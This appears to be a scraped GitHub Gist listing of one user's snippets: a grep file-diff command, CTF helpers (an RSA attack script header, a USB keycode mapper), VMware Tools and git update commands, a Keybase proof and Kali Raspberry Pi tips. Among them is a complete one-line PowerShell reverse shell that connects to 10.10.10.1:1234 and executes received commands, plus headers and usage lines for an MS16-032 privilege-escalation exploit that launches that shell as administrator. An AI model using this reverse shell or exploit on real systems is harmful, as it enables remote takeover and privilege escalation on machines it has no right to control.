Skip to content

Instantly share code, notes, and snippets.

@thalex
thalex / diff
Created January 9, 2017 19:27
find difference between two files
grep -Fxvf file1 file2
-F, --fixed-strings
Interpret PATTERN as a list of fixed strings, separated by newlines, any of which is to be matched.
-x, --line-regexp
Select only those matches that exactly match the whole line.
-v, --invert-match
Invert the sense of matching, to select non-matching lines.
-f FILE, --file=FILE
Obtain patterns from FILE, one per line. The empty file contains zero patterns, and therefore matches nothing.
#!/usr/bin/python
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
import time
import sys
import base64
import binascii
import gmpy
import sympy
import math
import fractions
@thalex
thalex / usbkeymap.py
Created April 27, 2017 20:26
USB Key Mapping to solve forensics challenges with USB pcaps
#!/usr/bin/python
mappings = {
0x04:"A",
0x05:"B",
0x06:"C",
0x07:"D",
0x08:"E",
0x09:"F",
0x0A:"G",
0x0B:"H",
@thalex
thalex / vmware-tools-update
Last active April 7, 2022 06:00
VMware Tools Linux Update
#install
mkdir /mnt/cdrom
mount /dev/cdrom /mnt/cdrom
cp /mnt/cdrom/VMwareTools-*.tar.gz /tmp
cd /tmp
tar -zxvf VMwareTools-*.tar.gz
cd vmware-tools-distrib/
./vmware-install.pl —default EULA_AGREED=yes
@thalex
thalex / gitupdate
Created April 30, 2017 17:16
Update all git projects
find . -mindepth 1 -maxdepth 1 -type d -print -exec git -C {} pull \;
@thalex
thalex / shell.ps1
Created June 24, 2017 15:15
A reverse shell in Powershell
$intrd = New-Object System.Net.Sockets.TCPClient("10.10.10.1",1234);$stream = $intrd.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$intrd.Close()
function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
Modifications by Mike Benich (@benichmt1).
Targets:
@thalex
thalex / ms16_032_intrd_mod.ps1
Created June 24, 2017 15:32 — forked from intrd/ms16_032_intrd_mod.ps1
MS16-032 priv escalation exploit modded - interactive shell & command argv
## intrd's MS16-032 priv escalation exploit modded - interactive shell & command argv
# exploit MS16-032 and run shell.ps1(ATTACHMNT) as administrator: Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command Import-Module C:\Users\IEUser\Desktop\shell.ps1;Start-Sleep -s 10"
# reverse shell as current user: Invoke-PowerShellTcp -Reverse -IPAddress 10.0.3.10 -Port 4567
function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable

Keybase proof

I hereby claim:

  • I am dbaser on github.
  • I am thales (https://keybase.io/thales) on keybase.
  • I have a public key ASCG01CaC6pQKatyOZt6TafWJqM7BEwAMrKmE9TePW6k3wo

To claim this, I am signing this object:

@thalex
thalex / rpi_kali
Last active April 25, 2018 20:49
RPI3 + Kali Linux Tips
# Autologin
editar o arquivo -> /etc/gdm3/daemon.conf e descomentar as linhas abaixo:
AutomaticLoginEnable = true
AutomaticLogin = root